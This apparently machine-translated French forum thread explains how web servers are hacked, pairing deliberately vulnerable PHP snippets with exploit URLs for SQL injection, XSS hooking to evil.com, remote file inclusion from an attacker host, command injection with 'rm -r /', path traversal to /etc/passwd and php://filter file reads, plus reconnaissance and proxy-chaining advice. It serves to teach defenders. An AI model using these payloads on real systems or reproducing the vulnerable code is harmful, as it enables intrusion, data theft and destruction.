Comment fonctionne le piratage?
Je parle spécifiquement des serveurs Web, exécutant Unix. J'ai toujours été curieux de savoir comment les pirates informatiques obtenaient le point d'entrée. Je veux dire que je ne vois pas comment un pirate peut pirater la page Web alors que la seule méthode d'entrée qu'il a sur le serveur est une URL. Je dois manquer quelque chose, car je ne vois pas comment le pirate peut accéder au serveur simplement en changeant l'URL.
Par point d'entrée, je veux dire le point d'accès. La façon dont un pirate pénètre dans le serveur.
Puis-je obtenir un exemple de la façon dont un pirate ferait un point d'entrée dans un serveur Web? Tout langage C est acceptable. Je n'ai absolument aucune expérience en piratage
Un exemple simple serait apprécié.
Hacks qui fonctionnent simplement en changeant l'URL
- Un exemple légitime et un exemple malveillant
- Certains exemples nécessitent le codage d'URL pour fonctionner (généralement effectué automatiquement par le navigateur)
injection SQL
code:
$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");
exploit (se connecte en tant qu'administrateur sans connaître le mot de passe):
example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--
Cross Site Scripting (XSS)
code:
$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";
exploiter (les inscrits visitant l'utilisateur comme un zombie dans BeEF ):
example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />
Exécution de code à distance
code (exemple de Tylerl):
<? include($_GET["module"].".php"); ?>
exploit (télécharge et exécute du code arbitraire):
example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript
Injection de commande
code:
<?php
echo Shell_exec('cat '.$_GET['filename']);
?>
exploit (essaie de supprimer tous les fichiers du répertoire racine):
example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /
Injection de code
code:
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
exploit (injecte la commande phpinfo () qui affiche des informations d'attaque très utiles à l'écran):
example.com/?arg=1
example.com/?arg=1; phpinfo()
Injection LDAP
code:
<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>
exploit (se connecte sans connaître le mot de passe administrateur):
example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*
Traversée de chemin
code:
<?php
include("./" . $_GET['page']);
?>
exploit (récupère/etc/passwd):
example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd
Redirection/Attaque avant
code:
<?php
$redirectUrl = $_GET['url'];
header("Location: $redirectUrl");
?>
exploiter (envoie l'utilisateur de votre page à la mauvaise page):
example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php
Échec de la restriction de l'accès aux URL
code:
N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other
means discover the location of content that should only be accessible while logged in.
exploit:
example.com/users/showUser.php
example.com/admins/editUser.php
Falsification de demande intersite
code:
N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages.
exploit:
Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />
Débordement de tampon (techniquement en accédant à une URL, mais implémenté avec metasploit
code:
N/A. Vulnerability in the webserver code itself. Standard buffer overflow
Exploit (Metasploit + mètreprètre?):
http://www.exploit-db.com/exploits/16798/
La méthode (actuellement) la plus courante consiste à traverser des trous dans les applications PHP. Il existe des dizaines de façons dont cela pourrait fonctionner, mais voici une méthode simple et facile:
Imaginez que le propriétaire du site sans méfiance décide de prendre un raccourci dans son code tel que http://example.com/site.php?module=xyz charge en fait d'abord un modèle de shell puis exécute "xyz.php" pour remplir le contenu. Alors peut-être qu'il écrit quelque chose comme ceci:
<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>
Le pirate visite ensuite le site en utilisant l'URL suivante:http://example.com/site.php?module=http://malicio.us/evilprogram
Maintenant, au lieu de charger son script local, PHP s'éteint et télécharge http://malicio.us/evilprogram.php et l'exécute - exécutant tout ce qui est PHP code que l'attaquant désire. Peut-être envoyer du spam, peut-être installer un shell de porte dérobée, peut-être chercher les mots de passe dans les fichiers de configuration.
Il existe littéralement des milliers de façons de pirater un site, chacune aussi nouvelle que la suivante. Presque universellement, ils impliquent un programmeur qui n'a pas pensé à toutes les entrées possibles de leur programme et aux effets inattendus qu'elles pourraient avoir.
Il existe deux façons de voir les choses, vous pouvez vous concentrer sur le serveur lui-même ou sur l'application Web que le serveur exécute.
En tant que serveur, il peut avoir des ports ouverts exécutant des services auxquels vous pouvez vous connecter et accéder au serveur. En utilisant des exploits connus, vous pourriez obtenir un accès root. Par exemple, certains serveurs FTP pour Unix ont des vulnérabilités qui peuvent être exploitées par des outils comme Metasploit pour obtenir un shell racine.
En tant qu'application, il existe bien trop de façons d'exploiter une application mal écrite ou configurée. Par exemple, si vous passez une requête SQL en tant que GET, vous pouvez réellement manipuler l'URL elle-même pour effectuer une attaque injection SQL et vidage des bases de données entières. Par exemple (en fonction du codage du site): http://www.mydomain.com/products/products.asp?productid=12 Nom d'utilisateur UNION SELECT, mot de passe DES UTILISATEURS
Encore une fois, vous touchez à un sujet énorme et j'espère que cela vous aidera à concentrer vos prochaines étapes.
La réponse courte
Ce n'est peut-être pas la bonne question.
Un hacker ...
... est ingénieur social.
Ils sont plus intéressés par leurs interactions avec les gens que par leurs interactions avec les ordinateurs. Un pirate informatique préférerait de loin que vous lui remettiez votre mot de passe, plutôt que de le forcer brutalement.
... cherche des connaissances ...
... et sait que la connaissance est le pouvoir. Un pirate informatique est plus intéressé à obtenir votre numéro de carte de crédit qu'il ne l'est en réalité en utilisant il.
... utilise la morale comme excuse ...
... pas une cause. C'est pourquoi de nombreux hackers profiteront d'événements politiques à caractère moral pour devenir publics. Ils savent qu'ils peuvent utiliser la moralité pour excuser leurs actions aux yeux du public.
... ne se fait pas attraper à moins qu'il ne le veuille.
La plupart du temps. Les pirates en herbe qui se lancent directement sans se soucier de la furtivité ou de l'anonymat sont connus sous le nom de "script kiddies" ou "skiddies" au sein de la communauté des hackers. Il y a beaucoup plus de skiddies que de hackers, très probablement, et ils seront probablement votre plus grand ennui.
... n'a pas besoin d'outils spéciaux ni de portes dérobées.
L'interface que vous avez fournie est probablement suffisante.
La réponse longue
Vous pouvez vous protéger contre les exploits de Metasploit tout ce que vous voulez. Un pirate passera directement par la porte d'entrée - sinon virtuellement, littéralement.
La réponse que vous voulez
Vu que les gens n'aiment pas la réponse que j'ai donnée , aussi adéquate soit-elle, je vais vous donner quelque chose un peu plus le long des lignes de ce que vous voulez.
Les pirates aiment rester anonymes. La première étape de toute attaque consiste à enchaîner une ligne de procurations d'une certaine sorte, qu'il s'agisse de procurations SOCKS, de zombies ou de simples robots formant un botnet. Il y a plusieurs façons de procéder, mais obtenons des procurations mortes pour les besoins de la discussion. Rendez-vous sur Pastebin.com et recherchez 8080. Il s'agit d'un port commun pour les proxys Web. Faites défiler les résultats jusqu'à ce que vous trouviez une liste d'adresses IP et cliquez pour voir le résultat. Vous devriez avoir une longue liste de proxys Web. Je peux garantir que la plupart, sinon la totalité, seront morts. Désolé, ce n'est pas un tutoriel de piratage.
La prochaine étape consiste à recueillir des informations apparemment triviales sur votre cible. À l'aide de ses procurations, un pirate exécuterait des analyses de port, puis sonderait tous les services qu'il trouverait. Vous avez un site Web? Explorons-le. Vous avez un serveur MySQL? Voyons de quelle version il s'agit. Vous exécutez SSH? Voyons voir s'il accepte les mots de passe texte ou s'il est limité aux certificats.
Ensuite, le pirate s'assoit, regarde ce qu'il a rassemblé et décide quel est le point le plus faible du système. Selon la taille du système, il peut revenir en arrière et sonder un peu plus, s'il y a plus à sonder et qu'il sent qu'il n'a pas acquis une assez bonne faiblesse. Une faiblesse ne doit pas être un véritable "trou" de sécurité: elle doit simplement être le maillon le plus faible. Vous disposez peut-être d'un serveur FTP qui ne protège pas contre le martèlement (tentatives de connexion répétées). Peut-être que vous avez un serveur Web avec un tas de formulaires ou des URL potentiellement exploitables. Cela mérite d'être approfondi.
Si nécessaire, l'attaquant pourrait écrire un script ou un programme pour exécuter l'attaque finale, bien que ce ne soit pas toujours le cas. La plupart des faiblesses peuvent être exploitées avec les outils existants, ce qui n'est généralement pas nécessaire pour le pirate informatique moderne. Cependant, les pirates découvrent parfois de nouveaux trous de sécurité dans les logiciels, auquel cas ils ont parfois besoin d'écrire des outils spéciaux pour exploiter lesdits logiciels.
Un bon exemple d'un programme d'attaque manifestement évident est celui qui est utilisé pour causer des problèmes sur les serveurs d'un jeu appelé Terraria. Ce n'était pas son objectif d'origine, mais parce qu'il expose divers exploits dans le logiciel serveur, il a tendance à être utilisé pour cela par d'autres. Je l'ai écrit en C #. Le code source est disponible sur GitHub . Les exploits utilisent la manipulation de bytecode pour modifier le client existant afin d'envoyer des données malveillantes. Le serveur n'attend pas ces données et réagit d'une manière qui n'a pas été conçue pour fonctionner. La découverte d'exploits comme celui-ci peut être aussi simple que la rétro-ingénierie du logiciel cible - je dis simple parce que c'est devenu une tâche de plus en plus facile avec les langages réflexifs modernes, tels que C # et Java. Des programmes tels que .NET Reflector (payant) et dotPeek (gratuit pour l'instant) rendent cela possible en cliquant sur un bouton. Un programmeur C # suffisamment formé peut alors observer le code, déterminer sa fonctionnalité et écrire un programme pour modifier cette fonctionnalité.
Un de mes amis avait un contrat pour travailler sur un site. Pendant ce temps, il a remarqué que des pirates informatiques étaient entrés sur le site Web et faisaient des choses qu'il n'aimait pas. Après avoir consulté certains fichiers journaux, il remarque que les "pirates" ont trouvé le site en recherchant une erreur mysql sur Google.
Lorsque vous êtes en mesure d'injecter sql, vous pouvez faire tout ce que vous voulez, comme vous créer un compte. Si vous pouvez télécharger des fichiers (en particulier php), vous avez la possibilité de pouvoir l'exécuter. Si vous pouvez l'exécuter, vous pouvez faire plus de dégâts comme des fichiers en lecture/écriture sur le système de fichiers du serveur même si vous n'avez pas de compte sur le serveur linux/windows.
Une autre technique consiste à pénétrer la base de données, à regarder les mots de passe (surtout s'ils ne sont pas hachés) que d'essayer d'établir une connexion ssh ou ftp avec la même adresse IP du site et d'essayer les combinaisons utilisateur/mot de passe.
De plus, vous n'avez pas besoin de pénétrer dans le serveur pour être piraté. Quelqu'un que j'ai rencontré m'a raconté comment un logiciel obsolète avait été installé sur son serveur. Les attaquants l'ont utilisé pour télécharger et exécuter leur propre fichier php qui a injecté une ligne de code (pour ajouter un iframe) dans chaque fichier index.php et index.html. Pour l'essentiel, personne n'a pu visiter le site. Il a soit redirigé soit affiché de nombreuses fenêtres contextuelles.
Combien de fois avons-nous lu des informations sur les connexions sans mot de passe ou "Joes"? Ne nécessite pas de connaissance de Metasploit ou de quelque chose de vraiment exotique pour entrer dans la porte d'entrée. Un peu comme une voiture en cours d'exécution assise dans une allée par un matin froid "Veuillez me voler".
Encore quelques exemples à considérer.
Dans le prolongement de l'exemple de tylerl:
<?php
if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>
Vecteur d'attaque:
http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure
Il s'agit d'un fichier local comprenant une attaque base64 en raison de l'absence de codage sécurisé, un attaquant est capable de lire presque n'importe quel fichier sur le site ou le serveur qui se termine par [.php], dans ce cas, en lisant le contenu du fichier de configure.php fichier, PHP renvoie un code de base64 de tout le contenu du fichier qui est facilement décodé en texte lisible.
Cependant, l'URL mal formée n'a pas besoin de rechercher des trous de validation de sécurité d'entrée.
Dans de nombreux sites de commerce Web, le code $ PHP_SELF rapporte mal le nom de fichier où yoursite.com/admin/administrators.php, $ PHP_SELF a signalé le nom de fichier comme administrators.php, cependant si login.php a été ajouté comme admin/administrators.php/login. php, puis $ PHP_SELF signale mal login.php comme nom de fichier au lieu d'administrators.php.
Par exemple, si la question de validation de la session d'administration est posée dans cet exemple impressionnant:
* si (pas une session d'administration valide) et ($ PHP_SELF n'est pas = vers login.php), puis redirigez vers login.php *
La page ne sera jamais redirigée vers le fichier login.php car $ PHP_SELF fait une fausse déclaration du vrai nom de fichier, donc l'attaquant a accès au fichier administrators.php sans avoir besoin des informations d'identification correctes.